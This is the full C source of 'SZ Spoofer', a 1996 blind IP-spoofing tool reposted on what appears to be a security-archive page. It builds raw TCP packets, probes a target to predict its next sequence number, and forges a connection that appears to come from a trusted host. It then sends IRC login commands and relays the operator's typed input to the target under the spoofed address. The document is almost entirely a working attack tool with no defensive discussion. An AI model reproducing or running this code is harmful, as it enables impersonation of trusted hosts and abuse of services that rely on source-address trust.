    ..:-={{Collaborative Security Information Center}}=-:..
    X-TREME & TECHNOTRONIC Security Collaboration Project
http://www.technotronic.com  -=(c)=-  http://www.x-treme.abyss.com


/*
 * SZ Spoofer (szs.c) by subzero
 * (c) 1996 NULL Productions (subzero@wwti.iway.net)
 *
 * Thanks go out to zircon for helping me with this little project :)
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <errno.h>
#include <netdb.h>
#include <string.h>

unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 
    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}

inline void printtcppacket(int r, char *buf, struct sockaddr_in *addr)
{
	struct iphdr *ip;
	struct tcphdr *tcp;
	int len=-1;

        printf("-------------------------------------------------------------------------------\n");
        /* IP */
        printf("Packet Size = %d\n",r);
        addr->sin_addr.s_addr = ntohl(addr->sin_addr.s_addr);
        ip = (struct iphdr *) buf;
        len = ip->ihl << 2;
	printf("IP Header\n");
	printf("---------\n");
        printf("length %d, version %d\n",len,ip->version);
	printf("tos %d, tot_len %d\n",ip->tos, ntohs(ip->tot_len));
	printf("id %d, frag_off %d, ttl %d, protocol %d\n",ntohs(ip->id),ntohs(ip->frag_off),
		ip->ttl, ip->protocol);
	printf("check %d\n",ntohs(ip->check));
	printf("IPFrom %s, ",inet_ntoa(ip->saddr));
	printf("IPTo %s\n",inet_ntoa(ip->daddr));
 
        /* TCP */
        tcp = (struct tcphdr *) (buf + len);
 
	printf("TCP Header\n");
	printf("----------\n");
        printf("SPort = %hu, DPort = %hu, SeqNum = %lu, AckNum = %lu\n",
                ntohs(tcp->th_sport), ntohs(tcp->th_dport),
                ntohl(tcp->th_seq), ntohl(tcp->th_ack));
	printf("x2 %d, off %d\n",tcp->th_x2,tcp->th_off);
 
        printf("Flags");
        if (!tcp->th_flags)
                printf(" none");
        else {
                if (tcp->th_flags & TH_FIN)
                        printf(" FIN");
                if (tcp->th_flags & TH_SYN)
                        printf(" SYN");
                if (tcp->th_flags & TH_RST)
                        printf(" RST");
                if (tcp->th_flags & TH_PUSH)
                        printf(" PUSH");
                if (tcp->th_flags & TH_ACK)
                        printf(" ACK");
                if (tcp->th_flags & TH_URG)
                        printf(" URG");
        }
        printf(".\n");
	printf("win %d, sum %d, urp %d\n",ntohs(tcp->th_win),ntohs(tcp->th_sum),ntohs(tcp->th_urp));
	printf("-------------------------------------------------------------------------------\n");
	
}

inline void gettcppacket(int s, char *buf, int size)
{
	struct sockaddr_in addr;
	struct iphdr *ip;
	struct tcphdr *tcp;
	int len, r;

	len = sizeof(addr);
	if ((r = recvfrom(s,buf,size,0,(struct sockaddr *) &addr,&len)) == -1) {
		perror("recvfrom");
		fprintf(stderr,"error: recvfrom returned %d\n",r);
		exit(1);
	}
}

inline void sendtcppacket(int s, unsigned long src, unsigned long dest, 
	struct sockaddr_in *addr,
	unsigned char flags, unsigned short sport, unsigned short dport, 
	unsigned long seqnum, unsigned long acknum, char *data, int datalen)
{

	struct iphdr ip;
	struct tcphdr tcp;
	static char packet[4096];
	char tcpbuf[4096];
	char *ptr;
	unsigned short size=0;

	ip.ihl = 5;
	ip.version = 4;
	ip.tos = 0;
	ip.tot_len = htons(40 + datalen);
	ip.id = htons(666+(rand()%100));
	ip.frag_off = 0;
	ip.ttl = 255;
	ip.protocol = IPPROTO_TCP;
	ip.check = 0;
	ip.saddr = src;
	ip.daddr = dest;

	ip.check = in_cksum((char *)&ip,sizeof(ip));

	tcp.th_sport = htons(sport);
	tcp.th_dport = htons(dport);
	tcp.th_seq = htonl(seqnum);
	tcp.th_ack = htonl(acknum);
	tcp.th_x2 = 0;
	tcp.th_off = 5;
	tcp.th_flags = flags;
	tcp.th_win = htons(10052);
	tcp.th_sum = 0;
	tcp.th_urp = 0;

	/* Add in a pseudo IP header */
	memset(tcpbuf,0,4096);
	ptr = tcpbuf;
	memcpy(ptr,&(ip.saddr),8); /* Both saddr and daddr */
	ptr += 9; /* Skip the 0 field */
	memcpy(ptr,&(ip.protocol),1);
	ptr += 1;
	size = htons(datalen + sizeof(tcp));
	memcpy(ptr,&(size),2);
	ptr += 2;
	memcpy(ptr,&tcp,sizeof(tcp)+datalen);
	ptr += sizeof(tcp);
	memcpy(ptr,data,datalen);

	tcp.th_sum = in_cksum((char *)tcpbuf,sizeof(tcp)+12+datalen);

	memcpy(packet,(char *)&ip,sizeof(ip));
	memcpy(packet+sizeof(ip),(char *)&tcp,sizeof(tcp));
	memcpy(packet+sizeof(ip)+sizeof(tcp),(char *)data,datalen);

/*	
	printtcppacket(sizeof(ip)+sizeof(tcp)+datalen,packet,addr);
*/
	if (sendto(s,packet,sizeof(ip)+sizeof(tcp)+datalen,0,
		(struct sockaddr *)addr, sizeof(struct sockaddr_in)) == -1) {
		perror("sendto");
		exit(1);
	}

}

void determine_sequence(int s, int r, unsigned long src, unsigned long dest,
	 struct sockaddr_in *addr, unsigned long *next_seq, int dport,
	 int offset)
{
	struct iphdr *ip;
	struct tcphdr *tcp;
	int len;
	unsigned long sseq=4138353+getpid();
	unsigned long ourport=1000+getpid();
	char buf[4096];
	unsigned long prevseq=0;
	
	sendtcppacket(s,src,dest,addr,TH_SYN,ourport,dport,sseq,0,NULL,0);
	for (;;) {
		gettcppacket(r,buf,sizeof(buf));
		ip = (struct iphdr *) buf;
		if (ip->saddr != dest) continue;
		printtcppacket(sizeof(buf),buf,addr);
		len = ip->ihl << 2;
		tcp = (struct tcphdr *) (buf+len);
		if (ntohs(tcp->th_dport)==ourport && ntohs(tcp->th_sport)==dport) {
			prevseq = ntohl(tcp->th_seq);
			*next_seq=prevseq+offset;
			break;
		}
	}
}

void spoof(int s, unsigned long src, unsigned long dest,
	struct sockaddr_in *addr, unsigned long next_seq, int tport,
	char nickname[9], char *username, char *realname, char channel[15])
{
	int stringlen;
	char buf[4096];
        char sendthis[1024];
	char *string;
	unsigned long seq = 4138353+getpid();
 	unsigned short sport = 1000+getpid();
 	
 	int counter = 1;
	
	sendtcppacket(s,src,dest,addr,TH_SYN,sport,tport,seq,0,NULL,0);
	usleep(10000);

	sendtcppacket(s,src,dest,addr,TH_ACK,sport,tport,++seq,++next_seq,NULL,0);
	usleep(5000);

	stringlen = sprintf(sendthis, "USER %s szs szs :%s\r\nNICK %s\r\nJOIN %s\r\n",username,realname,nickname,channel);
	sendtcppacket(s,src,dest,addr,TH_ACK|TH_PUSH,sport,tport,seq,next_seq,sendthis,stringlen);
	seq+=stringlen;
	
	fprintf(stderr, "\nSpoofed Connection....\n");
	
	for (;;) {
		fprintf(stderr,"input[%i]$ ", counter);
		string = fgets(buf, 256, stdin);
		stringlen = strlen(string);
		sendtcppacket(s,src,dest,addr,TH_ACK|TH_PUSH,sport,tport,seq,next_seq,string,stringlen);
		seq+=stringlen;
		counter++;
	}
}

void main(int argc, char *argv[])
{
	struct hostent *host;
	struct sockaddr_in addr, trustedaddr;
	
	int tport, sen, rec;
	unsigned long target, me, trusted, nseq, offset;
	
	unsigned char buf[4096];
	
	if (argc != 9) {
		fprintf(stderr, "### Usage: %s <shost> <thost> <tport> <offset> <nick> <uname> <ircname> <channel>\n", argv[0]);
		exit(1);
	}
	
	memset(&trustedaddr,0,sizeof(trustedaddr));
	trustedaddr.sin_family = AF_INET;
	if ((trustedaddr.sin_addr.s_addr = inet_addr(argv[1])) == -1) {
		if ((host = gethostbyname(argv[1])) == NULL) {
			fprintf(stderr, "### Could not determine hostname for spoofhost (%s)\n", argv[1]);
			exit(1);
		}
		trustedaddr.sin_family = host->h_addrtype;
		memcpy((caddr_t) &trustedaddr.sin_addr,host->h_addr,host->h_length);
	}
	fprintf(stderr, "### Spoofhost is %s\n", inet_ntoa(trustedaddr.sin_addr.s_addr));
	memcpy(&trusted,(char *)&trustedaddr.sin_addr.s_addr,4);
	
	memset(&addr,0,sizeof(addr));
	addr.sin_family = AF_INET;
	if ((addr.sin_addr.s_addr = inet_addr(argv[2])) == -1) {
		if ((host = gethostbyname(argv[2])) == NULL) {
			fprintf(stderr, "### Could not determine hostname for targethost (%s)\n", argv[2]);
			exit(1);
		}
		addr.sin_family = host->h_addrtype;
		memcpy((caddr_t) &addr.sin_addr,host->h_addr,host->h_length);
	}
	fprintf(stderr, "### Targethost is %s port %s\n", inet_ntoa(addr.sin_addr.s_addr), argv[3]);
	memcpy(&target,(char *)&addr.sin_addr.s_addr,4);
	
	gethostname(buf, 128);
	if ((host = gethostbyname(buf)) == NULL) {
		fprintf(stderr, "### Could not determine my host name\n");
		exit(1);
	}
	memcpy(&me,host->h_addr,4);
	
	if ((rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
		perror("error: recv socket");
		exit(1);
	}
	if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		perror("error: send socket");
		exit(1);
	}
	
	determine_sequence(sen, rec, me, target, &addr, &nseq, atoi(argv[3]), atoi(argv[4]));
	
	printf("### Next Sequence Number is %lu\n",nseq);
	
	spoof(sen,trusted,target,&trustedaddr,nseq,atoi(argv[3]),argv[5],argv[6],argv[7],argv[8]);
}
